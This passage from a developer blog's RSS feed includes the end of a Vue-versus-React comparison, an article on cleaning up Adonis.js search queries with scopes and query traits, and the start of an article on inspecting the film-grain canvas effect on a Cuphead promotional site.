<span class="hljs-keyword">function</span> Counter({ title }) {
    const [count, setCount] = useState(1)
    const increment = () =&gt; setCount(count+1)

    <span class="hljs-built_in">return</span> (
        &lt;&gt;
            &lt;h2&gt;{title}&lt;/h2&gt;
            &lt;button onClick={increment}&gt;{count}&lt;/button&gt;
        &lt;/&gt;
    )
}
</code></pre>
<p><strong>vue pros/cons</strong></p>
<p>(+) You can be specific about the types of your props (without TS)</p>
<p>(-) access the same way as state (<a href="http://this.xxx">this.xxx</a>), but actually behaves differently (e.g. assigning a new value throws a warning). This makes beginners think they can just go ahead and update props.</p>
<p><strong>react pros/cons</strong></p>
<p>(+) easy to understand -&gt; props are just function arguments</p>
<h2 id="child-components">Child components</h2>
<p>Let's extract the button into a child component.</p>
<p>vue</p>
<pre class="hljs"><code>// Button.vue

<span class="hljs-tag">&lt;<span class="hljs-name">template</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">button</span> @<span class="hljs-attr">click</span>=<span class="hljs-string">"$emit('handle-click')"</span>&gt;</span>
        {{ value }}
    <span class="hljs-tag">&lt;/<span class="hljs-name">button</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">template</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">script</span>&gt;</span><span class="javascript">
    <span class="hljs-keyword">export</span> <span class="hljs-keyword">default</span> {
        <span class="hljs-attr">props</span>: [<span class="hljs-string">'value'</span>]
    }
</span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span>
</code></pre>
<pre class="hljs"><code>// Counter.vue

<span class="hljs-tag">&lt;<span class="hljs-name">template</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">div</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">h1</span>&gt;</span>{{ title }}<span class="hljs-tag">&lt;/<span class="hljs-name">h1</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">Button</span> @<span class="hljs-attr">handle-click</span>=<span class="hljs-string">"increment"</span> <span class="hljs-attr">:value</span>=<span class="hljs-string">"count"</span> /&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">template</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">script</span>&gt;</span><span class="javascript">
    <span class="hljs-keyword">import</span> Button <span class="hljs-keyword">from</span> <span class="hljs-string">'./Button'</span>

    <span class="hljs-keyword">export</span> <span class="hljs-keyword">default</span> {
        <span class="hljs-attr">components</span>: {
            Button,
        },
        data() {
            <span class="hljs-keyword">return</span> {
                <span class="hljs-attr">count</span>: <span class="hljs-number">1</span>
            }
        },
        <span class="hljs-attr">props</span>: [<span class="hljs-string">'title'</span>],
        <span class="hljs-attr">methods</span>: {
            increment() {
                <span class="hljs-keyword">this</span>.count++
            }
        }
    }
</span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span>
</code></pre>
<p>vue introduces a &quot;new&quot; concept <code>events</code> at this point.</p>
<p>The react counterpart</p>
<pre class="hljs"><code>import { useState } from <span class="hljs-string">'react'</span>

<span class="hljs-keyword">function</span> Button({value, handleClick}) {
    <span class="hljs-built_in">return</span> &lt;button onClick={handleClick}&gt;{value}&lt;/button&gt;
}

<span class="hljs-keyword">function</span> Counter({ title }) {
    const [count, setCount] = useState(1)
    const increment = () =&gt; setCount(count+1)

    <span class="hljs-built_in">return</span> (
        &lt;&gt;
            &lt;h2&gt;{title}&lt;/h2&gt;
            &lt;Button value={count} handleClick={increment}/&gt;
        &lt;/&gt;
    )
}
</code></pre>
<p><strong>vue pros/cons</strong></p>
<p>(+) clear separation of concerns</p>
<p>(+) events play very nice with vue devtools</p>
<p>(+) Events come with modifiers that make the code super clean. E.g. <code>@submit.prevent=&quot;submit&quot;</code> &lt; applies event.preventDefault()</p>
<p>(-) weird casing rules</p>
<p>(-) sort of an additional concept to learn (events). Actually events are similar to native events in the browser. One of the few differences would be that they don't bubble up.</p>
<p><strong>react pros/cons</strong></p>
<p>(+) we are not forced to create separate files</p>
<p>(+) no concepts of events -&gt; just pass the function in as a prop. To update props, you can also just pass in a function as a prop</p>
<p>(+) overall shorter (at least in this derived example)</p>
<p>Some of the pros/cons are contradicting, this is because in the end it all comes down to personal preference. One might like the freedom of react, while others prefer the clear structure of vue.</p>
<h2 id="slots">Slots</h2>
<p>Vue introduces yet another concept when you want to pass template to a child component. Let's make it possible to pass more than a string to the button.</p>
<pre class="hljs"><code>// Button.vue

<span class="hljs-tag">&lt;<span class="hljs-name">template</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">div</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">button</span> @<span class="hljs-attr">click</span>=<span class="hljs-string">"$emit('handle-click')"</span>&gt;</span>
            <span class="hljs-tag">&lt;<span class="hljs-name">slot</span>&gt;</span>Default<span class="hljs-tag">&lt;/<span class="hljs-name">slot</span>&gt;</span>
        <span class="hljs-tag">&lt;/<span class="hljs-name">button</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">slot</span> <span class="hljs-attr">name</span>=<span class="hljs-string">"afterButton"</span>/&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">template</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">script</span>&gt;</span><span class="javascript">
    <span class="hljs-keyword">export</span> <span class="hljs-keyword">default</span> {}
</span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span>
</code></pre>
<pre class="hljs"><code>// Counter.vue

<span class="hljs-tag">&lt;<span class="hljs-name">template</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">div</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">h1</span>&gt;</span>{{ title }}<span class="hljs-tag">&lt;/<span class="hljs-name">h1</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">Button</span> @<span class="hljs-attr">handle-click</span>=<span class="hljs-string">"increment"</span>&gt;</span>
            <span class="hljs-tag">&lt;<span class="hljs-name">strong</span>&gt;</span>{{ count }}<span class="hljs-tag">&lt;/<span class="hljs-name">strong</span>&gt;</span>
            <span class="hljs-tag">&lt;<span class="hljs-name">template</span> <span class="hljs-attr">v-slot:afterButton</span>&gt;</span>
                Some content after the button...
            <span class="hljs-tag">&lt;/<span class="hljs-name">template</span>&gt;</span>
        <span class="hljs-tag">&lt;/<span class="hljs-name">Button</span>&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">template</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">script</span>&gt;</span><span class="javascript">
    <span class="hljs-keyword">import</span> Button <span class="hljs-keyword">from</span> <span class="hljs-string">'./Button'</span>

    <span class="hljs-keyword">export</span> <span class="hljs-keyword">default</span> {
        <span class="hljs-attr">components</span>: {
            Button,
        },
        data() {
            <span class="hljs-keyword">return</span> {
                <span class="hljs-attr">count</span>: <span class="hljs-number">1</span>
            }
        },
        <span class="hljs-attr">props</span>: [<span class="hljs-string">'title'</span>],
        <span class="hljs-attr">methods</span>: {
            increment() {
                <span class="hljs-keyword">this</span>.count++
            }
        }
    }
</span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span>
</code></pre>
<p><code>&lt;strong&gt;{{ count }}&lt;/strong&gt;</code> will go inside <code>&lt;slot&gt;&lt;/slot&gt;</code> since it is the default/unnamed slot. <code>Some content after the button...</code> will be placed inside <code>&lt;slot name=&quot;afterButton&quot;/&gt;</code>.</p>
<p>And in react</p>
<pre class="hljs"><code>import { useState } from <span class="hljs-string">'react'</span>

<span class="hljs-keyword">function</span> Button({AfterButton, handleClick, children}) {
    <span class="hljs-built_in">return</span> (
        &lt;&gt;
            &lt;button onClick={handleClick}&gt;
                {children}
            &lt;/button&gt;
            &lt;AfterButton /&gt;
        &lt;/&gt;
    )
}

<span class="hljs-keyword">function</span> Counter({ title }) {
    const [count, setCount] = useState(1)
    const increment = () =&gt; setCount(count+1)

    <span class="hljs-built_in">return</span> (
        &lt;&gt;
            &lt;h2&gt;{title}&lt;/h2&gt;
            &lt;Button value={count} handleClick={increment} AfterButton={() =&gt; <span class="hljs-string">'some content...'</span>}&gt;
                &lt;strong&gt;{ count }&lt;/strong&gt;
            &lt;/Button&gt;
        &lt;/&gt;
    )
}
</code></pre>
<p><strong>vue pros/cons</strong></p>
<p>(-) slots can be confusing. Especially when you send data from the child component to the slot.</p>
<p>(-) Passing slots down multiple components is even more confusing</p>
<p>(-) another concept to learn</p>
<p>These are consequences of vue using a custom templating language. It mostly works, but with slots it can become complicated.</p>
<blockquote>
<p>Slots will get simplified in vue 3</p>
</blockquote>
<p><strong>react pros/cons</strong></p>
<p>(+) no new concept - Since components are just functions, just create such a function and pass it in as a prop</p>
<p>(+) Doesn't even have to be a function. You can save template(jsx) in a variable and pass it around. This is exactly what happens with the special <code>children</code> prop.</p>
<h2 id="computed-fields">Computed fields</h2>
<p>Let's simplify the examples again</p>
<pre class="hljs"><code>// Counter.vue

<span class="hljs-tag">&lt;<span class="hljs-name">template</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">div</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">h1</span>&gt;</span>{{ capitalizedTitle }}<span class="hljs-tag">&lt;/<span class="hljs-name">h1</span>&gt;</span>
        <span class="hljs-tag">&lt;<span class="hljs-name">button</span> @<span class="hljs-attr">click</span>=<span class="hljs-string">"increment"</span>&gt;</span>{{ count }}<span class="hljs-tag">&lt;/<span class="hljs-name">button</span>&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">template</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">script</span>&gt;</span><span class="javascript">
    <span class="hljs-keyword">export</span> <span class="hljs-keyword">default</span> {
        data() {
            <span class="hljs-keyword">return</span> {
                <span class="hljs-attr">count</span>: <span class="hljs-number">1</span>
            }
        },
        <span class="hljs-attr">props</span>: [<span class="hljs-string">'title'</span>],
        <span class="hljs-attr">computed</span>: {
            capitalizedTitle() {
                <span class="hljs-keyword">return</span> title.toUpperCase()
            }
        },
        <span class="hljs-attr">methods</span>: {
            increment() {
                <span class="hljs-keyword">this</span>.count++
            }
        }
    }
</span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span>
</code></pre>
<p>react</p>
<pre class="hljs"><code>import { useState, useMemo } from <span class="hljs-string">'react'</span>

<span class="hljs-keyword">function</span> Counter({ title }) {
    const [count, setCount] = useState(1)
    const increment = () =&gt; setCount(count+1)
    const capitalizedTitle = title.toUpperCase()

    <span class="hljs-built_in">return</span> (
        &lt;&gt;
            &lt;h2&gt;{capitalizedTitle}&lt;/h2&gt;
            &lt;button onClick={increment}&gt;{count}&lt;/button&gt;
        &lt;/&gt;
    )
}
</code></pre>
<p>In vue, computed fields serve not one, but two purposes. They keep the template clean and at the same time provide caching.</p>
<p>In react, we can simply declare a variable that holds the desired value to solve the problem of keeping the template clean. (<code>const capitalizedTitle = title.toUpperCase()</code>)</p>
<p>In order to cache it as well, we can make use of react's <code>useMemo</code> hook.</p>
<pre class="hljs"><code><span class="hljs-keyword">const</span> capitalizedTitle = useMemo(<span class="hljs-function"><span class="hljs-params">()</span> =&gt;</span> title.toUpperCase(), [title])
</code></pre>
<p>In the second argument we have to specify the fields required to invalidate the cache if any of the fields' value changes.</p>
<p>useMemo works like this:</p>
<blockquote>
<p>title changes outside of component -&gt; <code>Counter</code> function runs since prop got updated -&gt; <code>useMemo</code> realizes that the title changed, runs the function passed in as the first argument, caches the result of it and returns it.</p>
</blockquote>
<p><strong>vue pros/cons</strong></p>
<p>(+) nice and clear separation of concerns</p>
<p>(-) you define computed fields in functions, but access them like state/props. This makes perfect sense if you think about it, but I have received questions about this repeatedly by peers.</p>
<p>(-) There is some magic going on here. How does vue know when to invalidate the cache?</p>
<p>(-) Computed fields serve two purposes</p>
<p><strong>react pros/cons</strong></p>
<p>(+) To keep the template clean, there is no new concept to learn, just save it in a variable, and use that variable in the template</p>
<p>(+) You have control over what gets cached and how</p>
<h2 id="watch">Watch</h2>
<pre class="hljs"><code>// Counter.vue

<span class="hljs-tag">&lt;<span class="hljs-name">template</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">button</span> @<span class="hljs-attr">click</span>=<span class="hljs-string">"increment"</span>&gt;</span>{{ capitalizedTitle }}<span class="hljs-tag">&lt;/<span class="hljs-name">button</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">template</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">script</span>&gt;</span><span class="javascript">
    <span class="hljs-keyword">export</span> <span class="hljs-keyword">default</span> {
        data() {
            <span class="hljs-keyword">return</span> {
                <span class="hljs-attr">count</span>: <span class="hljs-number">1</span>
            }
        },
        <span class="hljs-attr">watch</span>: {
            count() {
                <span class="hljs-built_in">console</span>.log(<span class="hljs-keyword">this</span>.count)
            }
        },
        <span class="hljs-attr">methods</span>: {
            increment() {
                <span class="hljs-keyword">this</span>.count++
            }
        }
    }
</span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span>
</code></pre>
<p>react</p>
<pre class="hljs"><code>import { useState, useEffect } from <span class="hljs-string">'react'</span>

<span class="hljs-keyword">function</span> Counter({ title }) {
    const [count, setCount] = useState(1)
    const increment = () =&gt; setCount(count+1)

    useEffect(() =&gt; {
        console.log(count)
    }, [count])

    <span class="hljs-built_in">return</span> (
        &lt;button onClick={increment}&gt;{count}&lt;/button&gt;
    )
}
</code></pre>
<p><code>useEffect</code> works pretty much the same way as <code>useMemo</code>, just without the caching part.</p>
<blockquote>
<p><code>setCount</code> -&gt; <code>Counter</code> function runs -&gt; <code>useEffect</code> realizes that the count changed and will run the effect.</p>
</blockquote>
<p><strong>vue pros/cons</strong></p>
<p>(+) clean, easily understandable, nailed it!</p>
<p><strong>react pros/cons</strong></p>
<p>(+) You can specify multiple fields instead of just one field</p>
<p>(-) The purpose of <code>useEffect</code> is not as clear as vue's <code>watch</code>. This is also because <code>useEffect</code> is used for more than one thing. It deals with any kind of side effects.</p>
<h2 id="mounted">mounted</h2>
<p>Doing something when a component has mounted is a good place for ajax requests.</p>
<p>vue</p>
<pre class="hljs"><code>// Counter.vue

<span class="hljs-tag">&lt;<span class="hljs-name">template</span>&gt;</span>
    <span class="hljs-tag">&lt;<span class="hljs-name">button</span> @<span class="hljs-attr">click</span>=<span class="hljs-string">"increment"</span>&gt;</span>{{ capitalizedTitle }}<span class="hljs-tag">&lt;/<span class="hljs-name">button</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">template</span>&gt;</span>
<span class="hljs-tag">&lt;<span class="hljs-name">script</span>&gt;</span><span class="javascript">
    <span class="hljs-keyword">export</span> <span class="hljs-keyword">default</span> {
        data() {
            <span class="hljs-keyword">return</span> {
                <span class="hljs-attr">count</span>: <span class="hljs-number">1</span>
            }
        },
        mounted() {
            <span class="hljs-comment">// this.$http.get...</span>
        },
        <span class="hljs-attr">methods</span>: {
            increment() {
                <span class="hljs-keyword">this</span>.count++
            }
        }
    }
</span><span class="hljs-tag">&lt;/<span class="hljs-name">script</span>&gt;</span>
</code></pre>
<p>and react</p>
<pre class="hljs"><code>import { useState, useEffect } from <span class="hljs-string">'react'</span>

<span class="hljs-keyword">function</span> Counter({ title }) {
    const [count, setCount] = useState(1)
    const increment = () =&gt; setCount(count+1)

    useEffect(() =&gt; {
        // ajax request...
    }, [])

    <span class="hljs-built_in">return</span> (
        &lt;button onClick={increment}&gt;{count}&lt;/button&gt;
    )
}
</code></pre>
<p>You can use the same <code>useEffect</code> as before, but this time specify an empty array as the second argument. It will execute once, and since there is no state specified like before (<code>[count]</code>), it will never evaluate a second time.</p>
<p><strong>vue pros/cons</strong></p>
<p>(+) clean and easy.</p>
<p>(-) Initiating something and cleaning up after it has to be in two different methods, which makes you jump unnecessarily and forces you to save variables somewhere else entirely (more on that in a moment)</p>
<p><strong>react pros/cons</strong></p>
<p>(-) Very abstract. I would have preferred a dedicated method for it instead. Cool thing is, I have the freedom <a href="https://github.com/MZanggl/use-mounted">to just make it</a>.</p>
<p>(-) <code>useEffect</code> callback is not allowed to return promises (causes race conditions)</p>
<p>(+) clean up in very same function:</p>
<p>Turns out <code>useEffect</code> comes with one rather interesting and neat feature. If you return a function within <code>useEffect</code>, it is used when the component gets unmounted/destroyed. This sounds confusing at first, but saves you some temporary variables.</p>
<p>Look at this</p>
<pre class="hljs"><code>import { useState, useEffect } from <span class="hljs-string">'react'</span>

<span class="hljs-keyword">function</span> <span class="hljs-function"><span class="hljs-title">App</span></span>() {
    const [showsCount, setShowsCount] = useState(<span class="hljs-literal">true</span>);

    <span class="hljs-built_in">return</span> (
    &lt;div className=<span class="hljs-string">"App"</span>&gt;
        &lt;button onClick={() =&gt; setShowsCount(!showsCount)}&gt;toggle&lt;/button&gt;
        {showsCount &amp;&amp; &lt;Counter /&gt;}
    &lt;/div&gt;
    );
}

<span class="hljs-keyword">function</span> Counter({ title }) {
    const [count, setCount] = useState(1)
    const increment = () =&gt; setCount(count+1)

    useEffect(() =&gt; {
        const interval = setInterval(() =&gt; {
            increment()
            console.log(<span class="hljs-string">"interval"</span>)
        }, 1000)

        <span class="hljs-built_in">return</span> <span class="hljs-keyword">function</span> <span class="hljs-function"><span class="hljs-title">cleanup</span></span>() {
            clearInterval(interval)
        }
    }, [])

    <span class="hljs-built_in">return</span> (
        &lt;button&gt;{count}&lt;/button&gt;
    )
}
</code></pre>
<p>The interesting part is inside <code>useEffect</code>. In the same scope we are able to create and clear an interval. With vue, we would have to initiate the variable first somewhere else, so that we can fill it in <code>mounted</code> and cleanup inside <code>destroy</code>.</p>
<h2 id="others">Others</h2>
<p><strong>vue</strong></p>
<p>(+) <code>v-model</code> directive</p>
<p>(+) first party tools like SSR, VueX and vue-router that play very nice with devtools</p>
<p>(+) Scoped CSS out of the box. Super easy to use SCSS</p>
<p>(+) Feels more like traditional web development and makes onboarding easier</p>
<p><strong>react</strong></p>
<p>(+) More and more things become first party and part of the react core library (hooks, code splitting, etc.)</p>
<p>(+) many libraries to choose from</p>
<h2 id="conclusion">Conclusion</h2>
<p>vue limits you in certain ways, but by that, it also structures your code in a clean and consistent way.</p>
<p>React doesn't limit you much, but in return, you have a lot more responsibility to maintain clean code. This I think became much easier with the introduction of hooks.</p>
<p>But then of course, with all the competition going on, vue is not going to ignore the benefits of react hooks and has already released an rfc for <a href="https://github.com/vuejs/rfcs/pull/42">function-based components</a>. It looks promising and I am excited where it will lead to!</p>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Refactoring search queries in Adonis.js]]></title>
            <link>https://michaelzanggl.com/articles/refactoring-search-queries-in-adonisjs/</link>
            <guid>refactoring-search-queries-in-adonisjs</guid>
            <description><![CDATA[Learn all about model scopes and conditional queries.]]></description>
            <content:encoded><![CDATA[<p>In <a href="/articles/avoiding-fat-controllers-in-adonisjs">a previous post</a> we were looking at various ways to keep controllers in Adonis small, but the various ways were not helping us with the following:</p>
<pre class="hljs"><code><span class="hljs-keyword">const</span> Post = use(<span class="hljs-string">'App/Models/Post'</span>)

<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">PostsController</span> </span>{
    <span class="hljs-keyword">async</span> index({ response, request }) {    
        <span class="hljs-keyword">const</span> query = Post.query()

        <span class="hljs-keyword">if</span> (request.input(<span class="hljs-string">'category_id'</span>)) {
            query.where(<span class="hljs-string">'category_id'</span>, request.input(<span class="hljs-string">'category_id'</span>))
        }

        <span class="hljs-keyword">let</span> keyword = request.input(<span class="hljs-string">'keyword'</span>)

        <span class="hljs-keyword">if</span> (keyword) {
            keyword = <span class="hljs-string">`%<span class="hljs-subst">${<span class="hljs-built_in">decodeURIComponent</span>(keyword)}</span>%`</span>
            query
                .where(<span class="hljs-string">'title'</span>, <span class="hljs-string">'like'</span>, keyword)
                .orWhere(<span class="hljs-string">'description'</span>, <span class="hljs-string">'like'</span>, keyword)
        }

        <span class="hljs-keyword">const</span> tags = request.input(<span class="hljs-string">'tags'</span>)
        <span class="hljs-keyword">if</span> (tags) {
            query.whereIn(<span class="hljs-string">'tags'</span>, tags)
        }

        <span class="hljs-keyword">const</span> posts = <span class="hljs-keyword">await</span> query.where(<span class="hljs-string">'active'</span>, <span class="hljs-literal">true</span>).fetch()

        <span class="hljs-keyword">return</span> response.json({ <span class="hljs-attr">posts</span>: posts.toJSON() })
    }
}
</code></pre>
<p>So let's dive into various ways we can clean this up.</p>
<h2 id="scopes">Scopes</h2>
<p>Adonis has a feature called <a href="https://adonisjs.com/docs/4.1/lucid#_query_scopes">query scopes</a> that allows us to extract query constraints. Let's try this with the keyword constraint.</p>
<pre class="hljs"><code>keyword = <span class="hljs-string">`%<span class="hljs-subst">${<span class="hljs-built_in">decodeURIComponent</span>(keyword)}</span>%`</span>
query
    .where(<span class="hljs-string">'title'</span>, <span class="hljs-string">'like'</span>, keyword)
    .orWhere(<span class="hljs-string">'description'</span>, <span class="hljs-string">'like'</span>, keyword)
</code></pre>
<p>To create a new scope we would go into our <code>Posts</code> model and add the following method to the class</p>
<pre class="hljs"><code><span class="hljs-keyword">static</span> scopeByEncodedKeyword(query, keyword) {
    keyword = <span class="hljs-string">`%<span class="hljs-subst">${<span class="hljs-built_in">decodeURIComponent</span>(keyword)}</span>%`</span>
    
    <span class="hljs-keyword">return</span> query
        .where(<span class="hljs-string">'title'</span>, <span class="hljs-string">'like'</span>, keyword)
        .orWhere(<span class="hljs-string">'description'</span>, <span class="hljs-string">'like'</span>, keyword)
}
</code></pre>
<p>Now back in the controller, we can simply write</p>
<pre class="hljs"><code><span class="hljs-keyword">if</span> (keyword) {
    query.byEncodedKeyword(keyword)
}
</code></pre>
<p>It's important that the method name is prefixed with <code>scope</code>. When calling scopes, drop the <code>scope</code> keyword and call the method in camelCase (<code>ByEncodedKeyword</code> =&gt; <code>byEncodedKeyword</code>).</p>
<p>This is a great way to simplify queries and hide complexity! It also makes query constraints reusable.</p>
<x-ad />
<hr>
<p>Let's talk about these conditionals...</p>
<p>I actually created two traits to overcome all these conditionals. If you are new to traits please check out in the repositories on how to set them up.</p>
<h2 id="optional"><a href="https://github.com/MZanggl/adonis-lucid-optional-queries">Optional</a></h2>
<p>Repository: <a href="https://github.com/MZanggl/adonis-lucid-optional-queries">https://github.com/MZanggl/adonis-lucid-optional-queries</a></p>
<p>With Optional we will be able to turn the <code>index</code> method into</p>
<pre class="hljs"><code><span class="hljs-keyword">async</span> index({ response, request }) {    
    <span class="hljs-keyword">const</span> posts = <span class="hljs-keyword">await</span> Post.query()
        .optional(<span class="hljs-function"><span class="hljs-params">query</span> =&gt;</span> query
            .where(<span class="hljs-string">'category_id'</span>, request.input(<span class="hljs-string">'category_id'</span>))
            .byEncodedKeyword(request.input(<span class="hljs-string">'keyword'</span>))
            .whereIn(<span class="hljs-string">'tags'</span>, request.input(<span class="hljs-string">'tags'</span>))
        )
        .where(<span class="hljs-string">'active'</span>, <span class="hljs-literal">true</span>)
        .fetch()

    <span class="hljs-keyword">return</span> response.json({ <span class="hljs-attr">posts</span>: posts.toJSON() })
}
</code></pre>
<p>We were able to get rid of all the conditionals throughout the controller by wrapping optional queries in the higher order function <code>optional</code>. The higher order function traps the query object in an ES6 proxy that checks if the passed arguments are truthy. Only then will it add the constraint to the query.</p>
<hr>
<h2 id="when"><a href="https://github.com/MZanggl/adonis-lucid-when">When</a></h2>
<p>Repository: <a href="https://github.com/MZanggl/adonis-lucid-when">https://github.com/MZanggl/adonis-lucid-when</a></p>
<p>The second trait I wrote implements Laravel's <code>when</code> method as a trait. <code>Optional</code> has the drawback that you can only check for truthy values, sometimes you might also want to check if an input is a certain value before you apply the constraint. With <code>when</code> we can turn the search method into</p>
<pre class="hljs"><code><span class="hljs-keyword">async</span> index({ response, request }) {    
    <span class="hljs-keyword">const</span> posts = <span class="hljs-keyword">await</span> Post.query()
        .when(request.input(<span class="hljs-string">'category_id'</span>), (q, value) =&gt; q.where(<span class="hljs-string">'category_id'</span>, value))
        .when(request.input(<span class="hljs-string">'keyword'</span>), (q, value) =&gt; q.byEncodedKeyword(value))
        .when(request.input(<span class="hljs-string">'sort'</span>) === <span class="hljs-number">1</span>, q =&gt; q.orderBy(<span class="hljs-string">'id'</span>, <span class="hljs-string">'DESC'</span>))
        .where(<span class="hljs-string">'active'</span>, <span class="hljs-literal">true</span>)
        .fetch()

        <span class="hljs-keyword">return</span> response.json({ <span class="hljs-attr">posts</span>: posts.toJSON() })
    }
</code></pre>
<p><code>When</code> works similar to <code>Optional</code> in that it only applies the callback when the first argument is truthy. You can even add a third parameter to apply a default value in case the first argument is not truthy.</p>
<hr>
<p>Of course we can also combine these two traits</p>
<pre class="hljs"><code><span class="hljs-keyword">async</span> index({ response, request }) {    
    <span class="hljs-keyword">const</span> posts = <span class="hljs-keyword">await</span> Post.query()
        .optional(<span class="hljs-function"><span class="hljs-params">query</span> =&gt;</span> query
            .where(<span class="hljs-string">'category_id'</span>, request.input(<span class="hljs-string">'category_id'</span>))
            .byEncodedKeyword(request.input(<span class="hljs-string">'keyword'</span>))
            .whereIn(<span class="hljs-string">'tags'</span>, request.input(<span class="hljs-string">'tags'</span>))
        )
        .when(request.input(<span class="hljs-string">'sort'</span>) === <span class="hljs-number">1</span>, q =&gt; q.orderBy(<span class="hljs-string">'id'</span>, <span class="hljs-string">'DESC'</span>))
        .where(<span class="hljs-string">'active'</span>, <span class="hljs-literal">true</span>)
        .fetch()

    <span class="hljs-keyword">return</span> response.json({ <span class="hljs-attr">posts</span>: posts.toJSON() })
}
</code></pre>
<hr>
<p>An even more elegant way would be to use filters. Check out <a href="https://www.npmjs.com/package/adonis-lucid-filter">this module</a>.</p>
<p>We could turn our controller into</p>
<pre class="hljs"><code><span class="hljs-keyword">const</span> Post = use(<span class="hljs-string">'App/Models/Post'</span>)

<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">PostsController</span> </span>{
    <span class="hljs-keyword">async</span> index({ response, request }) {
        <span class="hljs-keyword">const</span> posts = <span class="hljs-keyword">await</span> Post.query()
            .filter(request.all())
            .fetch()

        <span class="hljs-keyword">return</span> response.json({ <span class="hljs-attr">posts</span>: posts.toJSON() })
    }
}
</code></pre>
<p>This has the benefit that it removes all constraints from the controller, but also the drawback that it is not 100% clear what is happening without a close look to all the filters you created.</p>
<h1 id="conclusion">Conclusion</h1>
<p>There's always more than one way to skin a cat, we could have also extracted the queries and conditions into a separate class specifically for searching this table (kind of like a repository pattern but for searching).</p>
<p>I hope this post gave you some ideas on how to clean up your search queries.</p>
]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Reverse-engineering Cuphead's film-grain effect - Behind the Code]]></title>
            <link>https://michaelzanggl.com/articles/reverse-engineering-cuphead/</link>
            <guid>reverse-engineering-cuphead</guid>
            <description><![CDATA[A great slam and then some!]]></description>
            <content:encoded><![CDATA[<p>For quite a while I've been thinking how cool it would be to have a website in the style of the fantastic game Cuphead. How would that even look like? Then, out of nowhere, either Netflix, or Cuphead's team - not sure, releases <a href="https://cupheadcountdown.com">https://cupheadcountdown.com</a>.</p>
<p>immediately, I noticed the film-grain effect on the website and wanted to have it ;)</p>
<p>tldr; there you go: <a href="https://github.com/MZanggl/film-grain">https://github.com/MZanggl/film-grain</a></p>
<p>Let me share with you how I extracted it from their website.</p>
<h3 id="checking-the-html">Checking the HTML</h3>
<p>As usual with these things, opening the devtools was the first step to solving this puzzle.</p>
<p>Immediately I noticed it was using Nuxt.js due to elements like <code>&lt;div id=&quot;_nuxt&quot;&gt;</code>, not relevant yet, but it's at least an indication that the JavaScript will be most likely compiled and not a walk in the park to read.</p>
<p>Going inside <code>&lt;main&gt;</code> I found the accurately-named element <code>&lt;div class=&quot;filmGrain&quot;&gt;</code> containing a canvas.
It was spanning the entire page with pointer-events turned off so you could still click around.</p>
<pre class="hljs"><code><span class="hljs-tag">&lt;<span class="hljs-name">style</span>&gt;</span><span class="css">
  <span class="hljs-selector-class">.filmGrain</span> {
    <span class="hljs-attribute">width</span>: <span class="hljs-number">100%</span>;
    <span class="hljs-attribute">height</span>: <span class="hljs-number">100%</span>;
    <span class="hljs-attribute">position</span>: absolute;
    <span class="hljs-attribute">top</span>: <span class="hljs-number">0</span>;
    <span class="hljs-attribute">left</span>: <span class="hljs-number">0</span>;
    <span class="hljs-attribute">pointer-events</span>: none;
  }

  <span class="hljs-selector-class">.filmGrain</span> <span class="hljs-selector-tag">canvas</span> {
    <span class="hljs-attribute">width</span>: <span class="hljs-number">100%</span>;
    <span class="hljs-attribute">height</span>: <span class="hljs-number">100%</span>;
    <span class="hljs-attribute">mix-blend-mode</span>: multiply;
    <span class="hljs-attribute">position</span>: relative;
  }
</span><span class="hljs-tag">&lt;/<span class="hljs-name">style</span>&gt;</span>

<span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"filmGrain"</span>&gt;</span>
  <span class="hljs-tag">&lt;<span class="hljs-name">canvas</span>&gt;</span><span class="hljs-tag">&lt;/<span class="hljs-name">canvas</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
</code></pre>
<p>Unfortunately it's not so easy to look into a canvas, so that's where the next challenge lies.</p>
